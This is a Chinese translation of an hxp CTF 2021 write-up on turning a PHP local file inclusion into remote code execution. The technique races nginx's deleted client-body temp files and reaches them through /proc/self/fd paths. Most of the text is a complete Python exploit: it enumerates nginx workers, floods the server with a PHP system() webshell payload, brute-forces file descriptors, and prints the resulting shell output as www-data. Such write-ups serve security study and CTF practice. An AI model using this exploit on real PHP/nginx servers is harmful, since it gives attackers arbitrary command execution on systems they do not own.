0x00 原文链接php-lfi-with-nginx-assistance
这篇文章展示了一种崭新的但较为普遍的本地文件包含攻击漏洞。实验环境只需要php+nginx,标准配置即可。这项技术在hxp CTF 2021的includer’s revenge / counter中发现。
0x01 PHP本地文件包含技术在安全研究中有着非常久远的历史,并且在CTF中非常常见。这些年中诞生了很多trick。
大多数当前的LFI都依赖于PHP能够产生一些形式的临时文件或者session文件。首先让我们看看下面的例子,上面的trick都不起作用
Download runnable example & exploit .
php 代码
1 <?php include_once ($_GET ['file' ]);
FPM / PHP config
1 2 3 4 ... php_admin_value[session.upload_progress.enabled] = 0 php_admin_value[file_uploads] = 0...
Setup / hardening:
1 2 3 4 ... chown -R 0 :0 /tmp / var/tmp / var/lib/ php/sessions chmod -R 000 /tmp / var/tmp / var/lib/ php/sessions ...
幸运的是目前php通常用PHP-FPM和nginx来部署。nginx提供一个容易被忽视的特性叫 client body buffering ,如果client body(不局限于post请求)大于一个确定的数值,那么就会创建一个临时文件
如果nginx以与PHP相同的用户身份来运行(通常以www-data的形式运行),则此功能可以在没有任何其他方式创建文件的情况下利用LFI。
相应的nginx代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ngx_fd_t ngx_open_tempfile (u_char *name, ngx_uint_t persistent, ngx_uint_t access) { ngx_fd_t fd; fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR, access ? access : 0600 ); if (fd != -1 && !persistent) { (void ) unlink((const char *) name); } return fd; }
可以看到临时文件在nginx打开后立即被删除。但是procfs 仍可用于通过竞赛获得对已删除文件的引用
1 2 3 4 5 6 7 8 9 10 11 12 ... /proc/34/fd: total 0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ...
注意:这个例子中不能直接包含/proc/34/fd/15,因为PHP的包含函数会解析文件系统中不存在的/var/lib/nginx/body/0000001368 (deleted)的路径。但这个限制可以被一些间接操作绕过,比如/proc/self/fd/34/../../../34/fd/15
。最终将执行那个已经被删除的文件/var/lib/nginx/body/0000001368 file
中的内容。
0x02 完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import sys, threading, requests URL = f'http://{sys.argv[1 ]} :{sys.argv[2 ]} /' r = requests.get(URL, params={ 'file' : '/proc/cpuinfo' }) cpus = r.text.count('processor' ) r = requests.get(URL, params={ 'file' : '/proc/sys/kernel/pid_max' }) pid_max = int (r.text)print (f'[*] cpus: {cpus} ; pid_max: {pid_max} ' ) nginx_workers = []for pid in range (pid_max): r = requests.get(URL, params={ 'file' : f'/proc/{pid} /cmdline' }) if b'nginx: worker process' in r.content: print (f'[*] nginx worker found: {pid} ' ) nginx_workers.append(pid) if len (nginx_workers) >= cpus: break done = False def uploader (): print ('[+] starting uploader' ) while not done: requests.get(URL, data='<?php system($_GET["c"]); /*' + 16 *1024 *'A' )for _ in range (16 ): t = threading.Thread(target=uploader) t.start()def bruter (pid ): global done while not done: print (f'[+] brute loop restarted: {pid} ' ) for fd in range (4 , 32 ): f = f'/proc/self/fd/{pid} /../../../{pid} /fd/{fd} ' r = requests.get(URL, params={ 'file' : f, 'c' : f'id' }) if r.text: print (f'[!] {f} : {r.text} ' ) done = True exit()for pid in nginx_workers: a = threading.Thread(target=bruter, args=(pid, )) a.start()
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ ./pwn.py 127.0 .0 .1 1337 [*] cpus: 2 ; pid_max: 32768 [*] nginx worker found: 33 [*] nginx worker found: 34 [+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] starting uploader[+] brute loop restarted: 33 [+] brute loop restarted: 34 [!] /proc/self/fd/34 /../../../34 /fd/9 : uid=33 (www-data) gid=33 (www-data) groups=33 (www-data)
备注:
includer’s revenge还包含了一个LFI漏洞。通过fastcgi_buffering更容易利用,因为临时文件可以通过在http://资源上调用readfile保持打开状态。 counter 还添加了system()以便/proc/$PID/cmdline
可用于通过 base64 包装器包含本地文件。